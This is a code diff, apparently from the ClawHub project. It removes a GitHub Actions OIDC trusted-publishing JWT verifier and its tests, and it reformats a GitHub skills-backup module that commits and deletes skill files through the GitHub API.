const newImage = payload.avatar_url?.trim()
const profileName = payload.name?.trim();
const profileName = payload.name?.trim()
if (!newLogin) return;
if (!newLogin) return
const args: {
userId: Id<"users">;
name: string;
image?: string;
syncedAt: number;
profileName?: string;
userId: Id<'users'>
name: string
image?: string
syncedAt: number
profileName?: string
} = {
userId,
name: newLogin,
image: newImage,
syncedAt: now,
};
}
if (profileName && profileName !== newLogin) {
args.profileName = profileName;
args.profileName = profileName
}
await ctx.runMutation(internal.users.syncGitHubProfileInternal, args);
await ctx.runMutation(internal.users.syncGitHubProfileInternal, args)
}
-334
View File
@@ -1,334 +0,0 @@
/* @vitest-environment node */
import { describe, expect, it } from "vitest";
import {
extractWorkflowFilenameFromWorkflowRef,
verifyGitHubActionsTrustedPublishJwt,
type TrustedGitHubActionsPublisher,
} from "./githubActionsOidc";
const trustedPublisher: TrustedGitHubActionsPublisher = {
repository: "openclaw/openclaw",
repositoryId: "123456",
repositoryOwner: "openclaw",
repositoryOwnerId: "7890",
workflowFilename: "plugin-clawhub-release.yml",
environment: "clawhub-plugin-release",
};
const trustedPublisherWithoutEnvironment: TrustedGitHubActionsPublisher = {
...trustedPublisher,
environment: undefined,
};
const signingKeyPairPromise = crypto.subtle.generateKey(
{
name: "RSASSA-PKCS1-v1_5",
modulusLength: 2048,
publicExponent: new Uint8Array([1, 0, 1]),
hash: "SHA-256",
},
true,
["sign", "verify"],
);
describe("extractWorkflowFilenameFromWorkflowRef", () => {
it("extracts the workflow filename from workflow_ref", () => {
expect(
extractWorkflowFilenameFromWorkflowRef(
"openclaw/openclaw/.github/workflows/plugin-clawhub-release.yml@refs/heads/main",
"openclaw/openclaw",
),
).toBe("plugin-clawhub-release.yml");
});
});
describe("verifyGitHubActionsTrustedPublishJwt", () => {
it("accepts a valid GitHub Actions token", async () => {
const { token, jwks } = await createSignedToken({
repository: trustedPublisher.repository,
repository_id: trustedPublisher.repositoryId,
repository_owner: trustedPublisher.repositoryOwner,
repository_owner_id: trustedPublisher.repositoryOwnerId,
workflow_ref:
"openclaw/openclaw/.github/workflows/plugin-clawhub-release.yml@refs/heads/main",
runner_environment: "github-hosted",
environment: trustedPublisher.environment,
event_name: "workflow_dispatch",
workflow: "Plugin ClawHub Release",
sha: "deadbeef",
ref: "refs/heads/main",
ref_type: "branch",
actor: "onur",
actor_id: "42",
run_id: "100",
run_attempt: "2",
iss: "https://token.actions.githubusercontent.com",
aud: "clawhub",
exp: Math.floor(Date.now() / 1000) + 300,
iat: Math.floor(Date.now() / 1000) - 5,
});
const identity = await verifyGitHubActionsTrustedPublishJwt(token, trustedPublisher, {
fetchImpl: async () =>
new Response(JSON.stringify({ keys: [jwks] }), {
status: 200,
headers: { "Content-Type": "application/json" },
}),
});
expect(identity).toMatchObject({
repository: trustedPublisher.repository,
repositoryId: trustedPublisher.repositoryId,
repositoryOwner: trustedPublisher.repositoryOwner,
repositoryOwnerId: trustedPublisher.repositoryOwnerId,
workflowFilename: trustedPublisher.workflowFilename,
environment: trustedPublisher.environment,
runId: "100",
runAttempt: "2",
sha: "deadbeef",
});
});
it("accepts a valid GitHub Actions token when no environment is pinned", async () => {
const { token, jwks } = await createSignedToken({
repository: trustedPublisher.repository,
repository_id: trustedPublisher.repositoryId,
repository_owner: trustedPublisher.repositoryOwner,
repository_owner_id: trustedPublisher.repositoryOwnerId,
workflow_ref:
"openclaw/openclaw/.github/workflows/plugin-clawhub-release.yml@refs/heads/main",
runner_environment: "github-hosted",
event_name: "workflow_dispatch",
workflow: "Plugin ClawHub Release",
sha: "deadbeef",
ref: "refs/heads/main",
ref_type: "branch",
actor: "onur",
actor_id: "42",
run_id: "100",
run_attempt: "2",
iss: "https://token.actions.githubusercontent.com",
aud: "clawhub",
exp: Math.floor(Date.now() / 1000) + 300,
iat: Math.floor(Date.now() / 1000) - 5,
});
const identity = await verifyGitHubActionsTrustedPublishJwt(
token,
trustedPublisherWithoutEnvironment,
{
fetchImpl: async () =>
new Response(JSON.stringify({ keys: [jwks] }), {
status: 200,
headers: { "Content-Type": "application/json" },
}),
},
);
expect(identity).toMatchObject({
repository: trustedPublisher.repository,
repositoryId: trustedPublisher.repositoryId,
repositoryOwner: trustedPublisher.repositoryOwner,
repositoryOwnerId: trustedPublisher.repositoryOwnerId,
workflowFilename: trustedPublisher.workflowFilename,
runId: "100",
runAttempt: "2",
sha: "deadbeef",
});
expect(identity.environment).toBeUndefined();
});
it("rejects reusable workflow tokens", async () => {
const { token, jwks } = await createSignedToken({
repository: trustedPublisher.repository,
repository_id: trustedPublisher.repositoryId,
repository_owner: trustedPublisher.repositoryOwner,
repository_owner_id: trustedPublisher.repositoryOwnerId,
workflow_ref:
"openclaw/openclaw/.github/workflows/plugin-clawhub-release.yml@refs/heads/main",
job_workflow_ref:
"openclaw/shared/.github/workflows/reusable-plugin-release.yml@refs/heads/main",
runner_environment: "github-hosted",
environment: trustedPublisher.environment,
event_name: "workflow_dispatch",
workflow: "Plugin ClawHub Release",
sha: "deadbeef",
ref: "refs/heads/main",
run_id: "100",
run_attempt: "1",
iss: "https://token.actions.githubusercontent.com",
aud: "clawhub",
exp: Math.floor(Date.now() / 1000) + 300,
iat: Math.floor(Date.now() / 1000) - 5,
});
await expect(
verifyGitHubActionsTrustedPublishJwt(token, trustedPublisher, {
fetchImpl: async () =>
new Response(JSON.stringify({ keys: [jwks] }), {
status: 200,
headers: { "Content-Type": "application/json" },
}),
}),
).rejects.toThrow("Only the official ClawHub reusable workflow is supported");
});
it("accepts the official ClawHub reusable workflow", async () => {
const { token, jwks } = await createSignedToken({
repository: trustedPublisher.repository,
repository_id: trustedPublisher.repositoryId,
repository_owner: trustedPublisher.repositoryOwner,
repository_owner_id: trustedPublisher.repositoryOwnerId,
workflow_ref:
"openclaw/openclaw/.github/workflows/plugin-clawhub-release.yml@refs/heads/main",
job_workflow_ref: "openclaw/clawhub/.github/workflows/package-publish.yml@refs/heads/main",
runner_environment: "github-hosted",
environment: trustedPublisher.environment,
event_name: "workflow_dispatch",
workflow: "Plugin ClawHub Release",
sha: "deadbeef",
ref: "refs/heads/main",
run_id: "100",
run_attempt: "1",
iss: "https://token.actions.githubusercontent.com",
aud: "clawhub",
exp: Math.floor(Date.now() / 1000) + 300,
iat: Math.floor(Date.now() / 1000) - 5,
});
await expect(
verifyGitHubActionsTrustedPublishJwt(token, trustedPublisher, {
fetchImpl: async () =>
new Response(JSON.stringify({ keys: [jwks] }), {
status: 200,
headers: { "Content-Type": "application/json" },
}),
}),
).resolves.toMatchObject({
repository: trustedPublisher.repository,
workflowFilename: trustedPublisher.workflowFilename,
jobWorkflowRef: "openclaw/clawhub/.github/workflows/package-publish.yml@refs/heads/main",
});
});
it("rejects environment mismatches", async () => {
const { token, jwks } = await createSignedToken({
repository: trustedPublisher.repository,
repository_id: trustedPublisher.repositoryId,
repository_owner: trustedPublisher.repositoryOwner,
repository_owner_id: trustedPublisher.repositoryOwnerId,
workflow_ref:
"openclaw/openclaw/.github/workflows/plugin-clawhub-release.yml@refs/heads/main",
runner_environment: "github-hosted",
environment: "other-environment",
event_name: "workflow_dispatch",
workflow: "Plugin ClawHub Release",
sha: "deadbeef",
ref: "refs/heads/main",
run_id: "100",
run_attempt: "1",
iss: "https://token.actions.githubusercontent.com",
aud: "clawhub",
exp: Math.floor(Date.now() / 1000) + 300,
iat: Math.floor(Date.now() / 1000) - 5,
});
await expect(
verifyGitHubActionsTrustedPublishJwt(token, trustedPublisher, {
fetchImpl: async () =>
new Response(JSON.stringify({ keys: [jwks] }), {
status: 200,
headers: { "Content-Type": "application/json" },
}),
}),
).rejects.toThrow("GitHub OIDC environment mismatch");
});
it("refreshes JWKS on signing-key cache misses", async () => {
const now = Date.now() + 10 * 60_000;
const { token, jwks } = await createSignedToken(
{
repository: trustedPublisher.repository,
repository_id: trustedPublisher.repositoryId,
repository_owner: trustedPublisher.repositoryOwner,
repository_owner_id: trustedPublisher.repositoryOwnerId,
workflow_ref:
"openclaw/openclaw/.github/workflows/plugin-clawhub-release.yml@refs/heads/main",
runner_environment: "github-hosted",
environment: trustedPublisher.environment,
event_name: "workflow_dispatch",
workflow: "Plugin ClawHub Release",
sha: "deadbeef",
ref: "refs/heads/main",
ref_type: "branch",
actor: "onur",
actor_id: "42",
run_id: "100",
run_attempt: "2",
iss: "https://token.actions.githubusercontent.com",
aud: "clawhub",
exp: Math.floor(now / 1000) + 300,
iat: Math.floor(now / 1000) - 5,
},
"rotated-key",
);
const staleJwk = { ...jwks, kid: "stale-key" };
const fetchMock = vi
.fn()
.mockResolvedValueOnce(
new Response(JSON.stringify({ keys: [staleJwk] }), {
status: 200,
headers: { "Content-Type": "application/json" },
}),
)
.mockResolvedValueOnce(
new Response(JSON.stringify({ keys: [jwks] }), {
status: 200,
headers: { "Content-Type": "application/json" },
}),
);
await expect(
verifyGitHubActionsTrustedPublishJwt(token, trustedPublisher, {
fetchImpl: fetchMock,
now: () => now,
}),
).resolves.toMatchObject({
repository: trustedPublisher.repository,
workflowFilename: trustedPublisher.workflowFilename,
});
expect(fetchMock).toHaveBeenCalledTimes(2);
});
});
async function createSignedToken(payload: Record<string, unknown>, kid = "test-key") {
const keyPair = await signingKeyPairPromise;
const header = { alg: "RS256", kid, typ: "JWT" };
const encodedHeader = base64UrlEncodeJson(header);
const encodedPayload = base64UrlEncodeJson(payload);
const signingInput = `${encodedHeader}.${encodedPayload}`;
const signature = new Uint8Array(
await crypto.subtle.sign(
"RSASSA-PKCS1-v1_5",
keyPair.privateKey,
new TextEncoder().encode(signingInput),
),
);
const publicJwk = (await crypto.subtle.exportKey("jwk", keyPair.publicKey)) as JsonWebKey & {
kid?: string;
};
publicJwk.kid = kid;
return {
token: `${signingInput}.${base64UrlEncodeBytes(signature)}`,
jwks: publicJwk,
};
}
function base64UrlEncodeJson(value: unknown) {
return base64UrlEncodeBytes(new TextEncoder().encode(JSON.stringify(value)));
}
function base64UrlEncodeBytes(bytes: Uint8Array) {
let binary = "";
for (const byte of bytes) binary += String.fromCharCode(byte);
return btoa(binary).replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/g, "");
}
-394
View File
@@ -1,394 +0,0 @@
type JwtHeader = {
alg?: unknown;
kid?: unknown;
typ?: unknown;
};
type JwtPayload = Record<string, unknown>;
type JwkSet = {
keys?: Array<JsonWebKey & { kid?: string; alg?: string; use?: string; kty?: string }>;
};
export type TrustedGitHubActionsPublisher = {
repository: string;
repositoryId: string;
repositoryOwner: string;
repositoryOwnerId: string;
workflowFilename: string;
environment?: string;
};
export type VerifiedGitHubActionsIdentity = {
repository: string;
repositoryId: string;
repositoryOwner: string;
repositoryOwnerId: string;
workflowFilename: string;
workflowName: string;
workflowRef: string;
jobWorkflowRef?: string;
environment?: string;
runnerEnvironment: string;
eventName: string;
sha: string;
ref: string;
refType?: string;
actor?: string;
actorId?: string;
runId: string;
runAttempt: string;
};
type VerifyGitHubActionsOidcOptions = {
fetchImpl?: typeof fetch;
now?: () => number;
};
type GitHubRepositoryIdentity = {
repository: string;
repositoryId: string;
repositoryOwner: string;
repositoryOwnerId: string;
};
type ParsedWorkflowRef = {
repository: string;
workflowFilename: string;
};
const GITHUB_ACTIONS_ISSUER = "https://token.actions.githubusercontent.com";
const GITHUB_ACTIONS_JWKS_URL = `${GITHUB_ACTIONS_ISSUER}/.well-known/jwks`;
const TRUSTED_AUDIENCE = "clawhub";
const CLOCK_SKEW_MS = 60_000;
const JWKS_CACHE_TTL_MS = 5 * 60_000;
const OFFICIAL_REUSABLE_WORKFLOW_REPOSITORY = "openclaw/clawhub";
const OFFICIAL_REUSABLE_WORKFLOW_FILENAME = "package-publish.yml";
let cachedJwks: { value: JwkSet; fetchedAt: number } | null = null;
export async function verifyGitHubActionsTrustedPublishJwt(
jwt: string,
trustedPublisher: TrustedGitHubActionsPublisher,
options: VerifyGitHubActionsOidcOptions = {},
): Promise<VerifiedGitHubActionsIdentity> {
const fetchImpl = options.fetchImpl ?? fetch;
const now = (options.now ?? Date.now)();
const { signingInput, signature, header, payload } = decodeJwt(jwt);
if (header.alg !== "RS256") {
throw new Error(
`Unsupported GitHub OIDC signing algorithm: ${formatClaimValue(header.alg ?? "<missing>")}`,
);
}
const keyId = requireString(header.kid, "kid");
let jwks = await fetchGitHubActionsJwks(fetchImpl, now);
let jwk = jwks.keys?.find((entry) => entry.kid === keyId);
if (!jwk) {
jwks = await fetchGitHubActionsJwks(fetchImpl, now, true);
jwk = jwks.keys?.find((entry) => entry.kid === keyId);
}
if (!jwk) throw new Error(`Unknown GitHub OIDC signing key: ${keyId}`);
const key = await crypto.subtle.importKey(
"jwk",
jwk,
{ name: "RSASSA-PKCS1-v1_5", hash: "SHA-256" },
false,
["verify"],
);
const verified = await crypto.subtle.verify(
"RSASSA-PKCS1-v1_5",
key,
signature,
new TextEncoder().encode(signingInput),
);
if (!verified) throw new Error("Invalid GitHub OIDC signature");
const issuer = requireString(payload.iss, "iss");
if (issuer !== GITHUB_ACTIONS_ISSUER) {
throw new Error(`Unexpected GitHub OIDC issuer: ${issuer}`);
}
if (!claimContainsAudience(payload.aud, TRUSTED_AUDIENCE)) {
throw new Error(`Unexpected GitHub OIDC audience: ${formatAudience(payload.aud)}`);
}
assertTokenTimeWindow(payload, now);
const repository = requireString(payload.repository, "repository");
const repositoryId = requireClaimString(payload.repository_id, "repository_id");
const repositoryOwner = requireString(payload.repository_owner, "repository_owner");
const repositoryOwnerId = requireClaimString(payload.repository_owner_id, "repository_owner_id");
const workflowRef = requireString(payload.workflow_ref, "workflow_ref");
const workflow = parseWorkflowRef(workflowRef, repository);
const jobWorkflowRef = optionalString(payload.job_workflow_ref);
const runnerEnvironment = requireString(payload.runner_environment, "runner_environment");
const environment = optionalString(payload.environment);
const eventName = requireString(payload.event_name, "event_name");
const workflowName = requireString(payload.workflow, "workflow");
const sha = requireString(payload.sha, "sha");
const ref = requireString(payload.ref, "ref");
const runId = requireClaimString(payload.run_id, "run_id");
const runAttempt = requireClaimString(payload.run_attempt, "run_attempt");
const refType = optionalString(payload.ref_type);
const actor = optionalString(payload.actor);
const actorId = optionalStringValue(payload.actor_id);
if (repository !== trustedPublisher.repository) {
throw new Error(
`GitHub OIDC repository mismatch: expected ${trustedPublisher.repository}, got ${repository}`,
);
}
if (repositoryId !== trustedPublisher.repositoryId) {
throw new Error(
`GitHub OIDC repository_id mismatch: expected ${trustedPublisher.repositoryId}, got ${repositoryId}`,
);
}
if (repositoryOwner !== trustedPublisher.repositoryOwner) {
throw new Error(
`GitHub OIDC repository_owner mismatch: expected ${trustedPublisher.repositoryOwner}, got ${repositoryOwner}`,
);
}
if (repositoryOwnerId !== trustedPublisher.repositoryOwnerId) {
throw new Error(
`GitHub OIDC repository_owner_id mismatch: expected ${trustedPublisher.repositoryOwnerId}, got ${repositoryOwnerId}`,
);
}
if (workflow.workflowFilename !== trustedPublisher.workflowFilename) {
throw new Error(
`GitHub OIDC workflow mismatch: expected ${trustedPublisher.workflowFilename}, got ${workflow.workflowFilename}`,
);
}
if (jobWorkflowRef) {
const reusableWorkflow = parseWorkflowRef(jobWorkflowRef);
const usesOfficialReusableWorkflow =
reusableWorkflow.repository === OFFICIAL_REUSABLE_WORKFLOW_REPOSITORY &&
reusableWorkflow.workflowFilename === OFFICIAL_REUSABLE_WORKFLOW_FILENAME;
if (!usesOfficialReusableWorkflow) {
throw new Error(
"Only the official ClawHub reusable workflow is supported for trusted publishing",
);
}
}
if (runnerEnvironment !== "github-hosted") {
throw new Error(
`Only GitHub-hosted runners may mint trusted publish tokens, got ${runnerEnvironment}`,
);
}
// v1 keeps secretless publishing behind a manual entry point. Environment
// pinning is optional, but if configured it must match exactly.
if (eventName !== "workflow_dispatch") {
throw new Error(`Trusted publishing requires workflow_dispatch, got ${eventName}`);
}
if (trustedPublisher.environment && environment !== trustedPublisher.environment) {
throw new Error(
`GitHub OIDC environment mismatch: expected ${trustedPublisher.environment}, got ${formatClaimValue(environment ?? "<missing>")}`,
);
}
return {
repository,
repositoryId,
repositoryOwner,
repositoryOwnerId,
workflowFilename: workflow.workflowFilename,
workflowName,
workflowRef,
...(jobWorkflowRef ? { jobWorkflowRef } : {}),
...(environment ? { environment } : {}),
runnerEnvironment,
eventName,
sha,
ref,
...(refType ? { refType } : {}),
...(actor ? { actor } : {}),
...(actorId ? { actorId } : {}),
runId,
runAttempt,
};
}
export async function fetchGitHubRepositoryIdentity(
repository: string,
fetchImpl: typeof fetch = fetch,
): Promise<GitHubRepositoryIdentity> {
const normalizedRepository = normalizeGitHubRepository(repository);
if (!normalizedRepository) {
throw new Error(`Invalid GitHub repository: ${repository}`);
}
const response = await fetchImpl(`https://api.github.com/repos/${normalizedRepository}`, {
headers: {
Accept: "application/vnd.github+json",
"User-Agent": "clawhub/package-trusted-publisher",
},
});
if (!response.ok) {
throw new Error(
`GitHub repository lookup failed for ${normalizedRepository}: ${response.status}`,
);
}
const body = (await response.json()) as {
id?: unknown;
full_name?: unknown;
owner?: { login?: unknown; id?: unknown };
};
const resolvedRepository = requireString(body.full_name, "full_name");
const ownerLogin = requireString(body.owner?.login, "owner.login");
return {
repository: resolvedRepository,
repositoryId: requireClaimString(body.id, "id"),
repositoryOwner: ownerLogin,
repositoryOwnerId: requireClaimString(body.owner?.id, "owner.id"),
};
}
export function normalizeGitHubRepository(repository: string) {
const trimmed = repository
.trim()
.replace(/^https?:\/\/github\.com\//i, "")
.replace(/\.git$/i, "");
const match = /^([A-Za-z0-9_.-]+)\/([A-Za-z0-9_.-]+)$/.exec(trimmed);
if (!match) return null;
return `${match[1]}/${match[2]}`;
}
export function extractWorkflowFilenameFromWorkflowRef(
workflowRef: string,
expectedRepository?: string,
) {
return parseWorkflowRef(workflowRef, expectedRepository).workflowFilename;
}
function parseWorkflowRef(workflowRef: string, expectedRepository?: string): ParsedWorkflowRef {
const match = /^([^/]+\/[^/]+)\/\.github\/workflows\/([^@/]+)@.+$/.exec(workflowRef.trim());
if (!match?.[1] || !match[2]) {
throw new Error(`Invalid GitHub workflow_ref claim: ${workflowRef}`);
}
if (expectedRepository && match[1] !== expectedRepository) {
throw new Error(
`GitHub workflow_ref repository mismatch: expected ${expectedRepository}, got ${match[1]}`,
);
}
return {
repository: match[1],
workflowFilename: match[2],
};
}
function decodeJwt(jwt: string) {
const parts = jwt.trim().split(".");
if (parts.length !== 3) throw new Error("Invalid GitHub OIDC token format");
const [encodedHeader, encodedPayload, encodedSignature] = parts;
const header = parseJsonSegment<JwtHeader>(encodedHeader, "header");
const payload = parseJsonSegment<JwtPayload>(encodedPayload, "payload");
return {
header,
payload,
signingInput: `${encodedHeader}.${encodedPayload}`,
signature: base64UrlToBytes(encodedSignature),
};
}
function parseJsonSegment<T>(segment: string, label: string) {
try {
return JSON.parse(new TextDecoder().decode(base64UrlToBytes(segment))) as T;
} catch {
throw new Error(`Invalid GitHub OIDC ${label}`);
}
}
function base64UrlToBytes(value: string) {
const normalized = value.replace(/-/g, "+").replace(/_/g, "/");
const padded = normalized.padEnd(Math.ceil(normalized.length / 4) * 4, "=");
const binary = atob(padded);
const bytes = new Uint8Array(binary.length);
for (let index = 0; index < binary.length; index += 1) {
bytes[index] = binary.charCodeAt(index);
}
return bytes;
}
async function fetchGitHubActionsJwks(fetchImpl: typeof fetch, now: number, forceRefresh = false) {
if (!forceRefresh && cachedJwks && now - cachedJwks.fetchedAt < JWKS_CACHE_TTL_MS) {
return cachedJwks.value;
}
const response = await fetchImpl(GITHUB_ACTIONS_JWKS_URL, {
headers: {
Accept: "application/json",
"User-Agent": "clawhub/github-actions-oidc",
},
});
if (!response.ok) {
throw new Error(`Failed to fetch GitHub OIDC JWKS: ${response.status}`);
}
const jwks = (await response.json()) as JwkSet;
cachedJwks = { value: jwks, fetchedAt: now };
return jwks;
}
function claimContainsAudience(audience: unknown, expected: string) {
if (typeof audience === "string") return audience === expected;
if (!Array.isArray(audience)) return false;
return audience.includes(expected);
}
function formatAudience(audience: unknown) {
if (typeof audience === "string") return audience;
if (Array.isArray(audience)) return audience.join(", ");
return formatClaimValue(audience ?? "<missing>");
}
function formatClaimValue(value: unknown) {
if (typeof value === "string" || typeof value === "number" || typeof value === "boolean") {
return String(value);
}
return JSON.stringify(value);
}
function assertTokenTimeWindow(payload: JwtPayload, now: number) {
const expiresAt = requireNumericClaim(payload.exp, "exp") * 1000;
if (now - CLOCK_SKEW_MS >= expiresAt) {
throw new Error("GitHub OIDC token has expired");
}
const notBefore =
payload.nbf === undefined ? undefined : requireNumericClaim(payload.nbf, "nbf") * 1000;
if (typeof notBefore === "number" && now + CLOCK_SKEW_MS < notBefore) {
throw new Error("GitHub OIDC token is not active yet");
}
}
function requireClaimString(value: unknown, label: string) {
const normalized = optionalStringValue(value);
if (!normalized) throw new Error(`Missing GitHub OIDC claim: ${label}`);
return normalized;
}
function requireString(value: unknown, label: string) {
if (typeof value !== "string" || !value.trim()) {
throw new Error(`Missing GitHub OIDC claim: ${label}`);
}
return value;
}
function optionalString(value: unknown) {
return typeof value === "string" && value.trim() ? value : undefined;
}
function optionalStringValue(value: unknown) {
if (typeof value === "number" && Number.isFinite(value)) return String(value);
return optionalString(value);
}
function requireNumericClaim(value: unknown, label: string) {
if (typeof value === "number" && Number.isFinite(value)) return value;
if (typeof value === "string" && value.trim()) {
const parsed = Number(value);
if (Number.isFinite(parsed)) return parsed;
}
throw new Error(`Missing GitHub OIDC claim: ${label}`);
}
export const __test = {
base64UrlToBytes,
claimContainsAudience,
};
+329 -372
View File
@@ -1,103 +1,103 @@
"use node";
'use node'
import { createPrivateKey, createSign } from "node:crypto";
import type { Id } from "../_generated/dataModel";
import type { ActionCtx } from "../_generated/server";
import { createPrivateKey, createSign } from 'node:crypto'
import type { Id } from '../_generated/dataModel'
import type { ActionCtx } from '../_generated/server'
const GITHUB_API = "https://api.github.com";
const DEFAULT_REPO = "clawdbot/skills";
const DEFAULT_ROOT = "skills";
const META_FILENAME = "_meta.json";
const USER_AGENT = "clawhub/skills-backup";
const GITHUB_API = 'https://api.github.com'
const DEFAULT_REPO = 'clawdbot/skills'
const DEFAULT_ROOT = 'skills'
const META_FILENAME = '_meta.json'
const USER_AGENT = 'clawhub/skills-backup'
type BackupFile = {
path: string;
size: number;
storageId: Id<"_storage">;
sha256: string;
contentType?: string;
};
path: string
size: number
storageId: Id<'_storage'>
sha256: string
contentType?: string
}
type BackupParams = {
slug: string;
version: string;
displayName: string;
ownerHandle: string;
files: BackupFile[];
publishedAt: number;
};
slug: string
version: string
displayName: string
ownerHandle: string
files: BackupFile[]
publishedAt: number
}
type RepoInfo = {
default_branch?: string;
};
default_branch?: string
}
type GitRef = {
object: { sha: string };
};
object: { sha: string }
}
type GitCommit = {
sha: string;
tree: { sha: string };
};
sha: string
tree: { sha: string }
}
type GitTreeEntry = {
path?: string;
type?: string;
};
path?: string
type?: string
}
type GitTree = {
tree?: GitTreeEntry[];
};
tree?: GitTreeEntry[]
}
type MetaFile = {
owner: string;
slug: string;
displayName: string;
owner: string
slug: string
displayName: string
latest: {
version: string;
publishedAt: number;
commit: string | null;
};
version: string
publishedAt: number
commit: string | null
}
history: Array<{
version: string;
publishedAt: number;
commit: string;
}>;
};
version: string
publishedAt: number
commit: string
}>
}
export type GitHubBackupContext = {
token: string;
repo: string;
repoOwner: string;
repoName: string;
branch: string;
root: string;
};
token: string
repo: string
repoOwner: string
repoName: string
branch: string
root: string
}
export type GitHubSkillBackupEntry = {
owner: string;
slug: string;
rootPath: string;
metaPath: string;
};
owner: string
slug: string
rootPath: string
metaPath: string
}
export function isGitHubBackupConfigured() {
return Boolean(
process.env.GITHUB_APP_ID &&
process.env.GITHUB_APP_PRIVATE_KEY &&
process.env.GITHUB_APP_INSTALLATION_ID,
);
process.env.GITHUB_APP_PRIVATE_KEY &&
process.env.GITHUB_APP_INSTALLATION_ID,
)
}
export async function getGitHubBackupContext(): Promise<GitHubBackupContext> {
const repo = process.env.GITHUB_SKILLS_REPO ?? DEFAULT_REPO;
const root = process.env.GITHUB_SKILLS_ROOT ?? DEFAULT_ROOT;
const [repoOwner, repoName] = parseRepo(repo);
const token = await createInstallationToken();
const repoInfo = await githubGet<RepoInfo>(token, `/repos/${repoOwner}/${repoName}`);
const branch = repoInfo.default_branch ?? "main";
const repo = process.env.GITHUB_SKILLS_REPO ?? DEFAULT_REPO
const root = process.env.GITHUB_SKILLS_ROOT ?? DEFAULT_ROOT
const [repoOwner, repoName] = parseRepo(repo)
const token = await createInstallationToken()
const repoInfo = await githubGet<RepoInfo>(token, `/repos/${repoOwner}/${repoName}`)
const branch = repoInfo.default_branch ?? 'main'
return { token, repo, repoOwner, repoName, branch, root };
return { token, repo, repoOwner, repoName, branch, root }
}
export async function fetchGitHubSkillMeta(
@@ -105,14 +105,14 @@ export async function fetchGitHubSkillMeta(
ownerHandle: string,
slug: string,
): Promise<MetaFile | null> {
const skillRoot = buildSkillRoot(context.root, ownerHandle, slug);
const skillRoot = buildSkillRoot(context.root, ownerHandle, slug)
return fetchMetaFile(
context.token,
context.repoOwner,
context.repoName,
`${skillRoot}/${META_FILENAME}`,
context.branch,
);
)
}
export async function listGitHubSkillBackupEntries(
@@ -121,112 +121,95 @@ export async function listGitHubSkillBackupEntries(
const ref = await githubGet<GitRef>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/ref/heads/${context.branch}`,
);
)
const baseCommit = await githubGet<GitCommit>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/commits/${ref.object.sha}`,
);
)
const tree = await githubGet<GitTree>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/trees/${baseCommit.tree.sha}?recursive=1`,
);
)
const prefix = context.root ? `${context.root}/` : "";
const entries: GitHubSkillBackupEntry[] = [];
const prefix = context.root ? `${context.root}/` : ''
const entries: GitHubSkillBackupEntry[] = []
for (const entry of tree.tree ?? []) {
if (entry.type !== "blob" || !entry.path) continue;
if (!entry.path.startsWith(prefix) || !entry.path.endsWith(`/${META_FILENAME}`)) continue;
const relative = entry.path.slice(prefix.length);
const segments = relative.split("/");
if (segments.length !== 3) continue;
const [owner, slug, file] = segments;
if (file !== META_FILENAME) continue;
const rootPath = prefix ? `${prefix}${owner}/${slug}` : `${owner}/${slug}`;
entries.push({ owner, slug, rootPath, metaPath: entry.path });
if (entry.type !== 'blob' || !entry.path) continue
if (!entry.path.startsWith(prefix) || !entry.path.endsWith(`/${META_FILENAME}`)) continue
const relative = entry.path.slice(prefix.length)
const segments = relative.split('/')
if (segments.length !== 3) continue
const [owner, slug, file] = segments
if (file !== META_FILENAME) continue
const rootPath = prefix ? `${prefix}${owner}/${slug}` : `${owner}/${slug}`
entries.push({ owner, slug, rootPath, metaPath: entry.path })
}
return entries;
return entries
}
const MAX_PUSH_RETRIES = 3;
export async function deleteGitHubSkillBackup(
context: GitHubBackupContext,
ownerHandle: string,
slug: string,
) {
const skillRoot = buildSkillRoot(context.root, ownerHandle, slug);
const skillRoot = buildSkillRoot(context.root, ownerHandle, slug)
const ref = await githubGet<GitRef>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/ref/heads/${context.branch}`,
)
const baseCommitSha = ref.object.sha
const baseCommit = await githubGet<GitCommit>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/commits/${baseCommitSha}`,
)
const baseTreeSha = baseCommit.tree.sha
const existingTree = await githubGet<GitTree>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/trees/${baseTreeSha}?recursive=1`,
)
for (let attempt = 0; attempt < MAX_PUSH_RETRIES; attempt++) {
const ref = await githubGet<GitRef>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/ref/heads/${context.branch}`,
);
const baseCommitSha = ref.object.sha;
const baseCommit = await githubGet<GitCommit>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/commits/${baseCommitSha}`,
);
const baseTreeSha = baseCommit.tree.sha;
const existingTree = await githubGet<GitTree>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/trees/${baseTreeSha}?recursive=1`,
);
const prefix = `${skillRoot}/`
const pathsToDelete = (existingTree.tree ?? [])
.filter((entry) => entry.type === 'blob' && entry.path?.startsWith(prefix))
.map((entry) => entry.path ?? '')
.filter(Boolean)
const prefix = `${skillRoot}/`;
const pathsToDelete = (existingTree.tree ?? [])
.filter((entry) => entry.type === "blob" && entry.path?.startsWith(prefix))
.map((entry) => entry.path ?? "")
.filter(Boolean);
if (!pathsToDelete.length) return { deleted: false as const }
if (!pathsToDelete.length) return { deleted: false as const };
const treeEntries = pathsToDelete.map((path) => ({
path,
mode: '100644' as const,
type: 'blob' as const,
sha: null,
}))
const treeEntries = pathsToDelete.map((path) => ({
path,
mode: "100644" as const,
type: "blob" as const,
sha: null,
}));
const newTree = await githubPost<{ sha: string }>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/trees`,
{
base_tree: baseTreeSha,
tree: treeEntries,
},
)
const newTree = await githubPost<{ sha: string }>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/trees`,
{
base_tree: baseTreeSha,
tree: treeEntries,
},
);
const commit = await githubPost<GitCommit>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/commits`,
{
message: `delete: ${skillRoot}`,
tree: newTree.sha,
parents: [baseCommitSha],
},
)
const commit = await githubPost<GitCommit>(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/commits`,
{
message: `delete: ${skillRoot}`,
tree: newTree.sha,
parents: [baseCommitSha],
},
);
await githubPatch(
context.token,
`/repos/${context.repoOwner}/${context.repoName}/git/refs/heads/${context.branch}`,
{ sha: commit.sha },
)
try {
await githubPatch(
context.token,
